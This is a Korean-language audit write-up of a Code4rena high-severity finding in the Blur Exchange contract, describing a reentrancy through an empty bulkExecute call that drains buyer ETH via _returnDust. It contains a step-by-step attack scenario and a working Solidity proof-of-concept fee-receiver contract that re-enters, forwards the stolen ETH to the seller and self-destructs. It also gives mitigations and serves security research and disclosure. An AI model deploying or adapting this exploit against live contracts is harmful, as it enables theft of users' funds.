code4rena-2022-11-blur-exchange-h01
[H-01] Direct theft of buyer’s ETH funds
Summary
재진입이 가능하여 판매자 또는 수수료 수령자가 구매자의 ETH를 훔칠 수 있다.
Keyword
reentrancy, theft
Vulnerability
- contracts/Exchange.sol#L168
- contracts/Exchange.sol#L565
- contracts/Exchange.sol#L212
- contracts/Exchange.sol#L154
bulkExecute 함수는 여러개의 주문을 처리한다. 중간에 어떤 주문이 실패하더라도 컨트랙트콜이 revert 되지 않고 이어서 작업을 완료하도록 구현되었다.
거래가 성사되면 수수료와 판매 대금을 수수료 수령자와 판매자에게 전달한다. 이 때, 수수료 수령자는 판매자에 의해 지정된다. 또한 판매자는 수수료율을 결정할 수 있다. 거래가 끝나고 컨트랙트콜 호출자가 전달한 ETH 중 남은 것은 _returnDust 함수를 통해 돌려준다.
이 상황에, 다음 세 버그에 의해 ETH를 훔칠 수 있다.
_execute함수에만 재진입 가드가 있으므로, 이를 호출하지 않는 한 수수료 수령자 또는 판매자가 재진입을 할 수 있음bulkExecute함수는 비어있는 배열을 파라미터로 받을 수 있음. 이를 통해_execute를 호출하지 않으면서(재진입 가드를 트리거하지 않으면서)_returnDust를 호출시킬 수 있음._returnDust는 호출자에게 컨트랙트에 예치된 ETH를 전량 전송함
따라서, bulkExecute → _execute → 대금/수수료 지불을 위해 ETH 전송 → bulkExecute 재진입(executions 파라미터를 빈 배열로) → _returnDust 호출 → 컨트랙트에 남아있는 ETH를 탈취 플로우로 공격이 가능하다.
function bulkExecute(Execution[] calldata executions)
external
payable
whenOpen
setupExecution
{
/*
REFERENCE
uint256 executionsLength = executions.length;
for (uint8 i=0; i < executionsLength; i++) {
bytes memory data = abi.encodeWithSelector(this._execute.selector, executions[i].sell, executions[i].buy);
(bool success,) = address(this).delegatecall(data);
}
_returnDust(remainingETH);
*/
uint256 executionsLength = executions.length;
for (uint8 i = 0; i < executionsLength; i++) {
...
}
_returnDust();
}
function _execute(Input calldata sell, Input calldata buy)
public
payable
reentrancyGuard
internalCall
{
...
_executeFundsTransfer(
sell.order.trader,
buy.order.trader,
sell.order.paymentToken,
sell.order.fees,
price
);
_executeTokenTransfer(
sell.order.collection,
sell.order.trader,
buy.order.trader,
tokenId,
amount,
assetType
);
...
}
function _returnDust() private {
uint256 _remainingETH = remainingETH;
assembly {
if gt(_remainingETH, 0) {
let callStatus := call(
gas(),
caller(),
selfbalance(),
0,
0,
0,
0
)
}
}
}다음과 같은 공격 시나리오가 나올 수 있다. 수수료는 10%라고 가정한다.
- Bob (구매자)는 ETH를 사용하여 총 4개의 주문을 처리하려 한다. 그중 하나의 주문은 Alice(판매자)의 판매 주문이다. 이 주문이
bulkExecute배열 파라미터의 첫번째 값이라고 가정하자. - Bob은 4 ETH를 보내며
bulkExecute를 호출한다. 각 주문 당 1 ETH씩 지불하고자 한다. - Alice의 주문이 처리된다. 수수료 10%인 0.1 ETH가 수수료 수령자(컨트랙트)에게 간다. 수수료 수령자(컨트랙트)는 Alice에 의해 설정되었다.
- 수수료 수령자(컨트랙트)는 receive 또는 fallback을 이용하여 1 wei를 보내며
bulkExecute를 호출한다. 이 때, 파라미터로는 빈 배열을 보낸다. _returnDust가 호출되며 남은 3.9 ETH가 수수료 수령자에게 보내진다.- 수수료 수령자(컨트랙트)는 3.1 ETH를 Alice(판매자)에게 보낸다.
- 수수료 수령자(컨트랙트)를 selfdestruct 하며 0.9 ETH를 Exchange 컨트랙트로 보낸다. (Bob의 Alice 주문 거래가 정상적으로 마치게 하기 위해)
- Alice 주문 건의 수수료 지불 로직에 의한 재진입이 끝나고,
_execute로 컨텍스트가 돌아온다. Alice의 판매금 0.9 ETH를 정산한다. - Bob이 요청한 나머지 주문 3건은 revert 된다. 이미 남은 ETH를
_returnDust로 빼내어 대금을 지불할 수 없기 떄문이다. - Alice는 3이더를 훔쳐내었다.
마지막으로, 공격으로 인해 컨트랙트가 가지고 있는 ETH가 전부 빠져나가 주문 3건이 revert 되더라도, 트랜잭션 자체는 revert 되지 않는다. bulkExecute는 여러개의 주문 중 실패한 주문이 있더라도 revert 되지 않도록 짜여있기 때문이다.
다음은 PoC 코드(수수료 수령 컨트랙트)이다.
contract MockFeeReceipient {
bool lock;
address _seller;
uint256 _price;
constructor(address seller, uint256 price) {
_seller = seller;
_price = price;
}
receive() external payable {
Exchange ex = Exchange(msg.sender);
if(!lock){
lock = true;
// first entrance when receiving fee
uint256 feeAmount = msg.value;
// Create empty calldata for bulkExecute and call it
Execution[] memory executions = new Execution[](0);
bytes memory data = abi.encodeWithSelector(Exchange.bulkExecute.selector, executions);
address(ex).call{value: 1}(data);
// Now we received All of buyers funds.
// Send stolen ETH to seller minus the amount needed in order to keep execution.
address(_seller).call{value: address(this).balance - (_price - feeAmount)}('');
// selfdestruct and send funds needed to Exchange (to not revert)
selfdestruct(payable(msg.sender));
}
else{
// Second entrance after steeling balance
// We will get here after getting funds from reentrancy
}
}
}출처: https://github.com/code-423n4/2022-11-non-fungible-findings/issues/96
Impact
판매자 또는 수수료 수령자가 구매자의 ETH를 훔칠 수 있다.
Mitigation
bulkExecute 호출 시 빈 배열을 파라미터로 사용할 수 없게 한다. 또한 재진입 할 수 없도록 setupExecution에서 isInternal = false인지 확인한다.
tags: bughunting, blur exchange, smart contract, solidity, nft marketplace, reentrancy, native token, severity high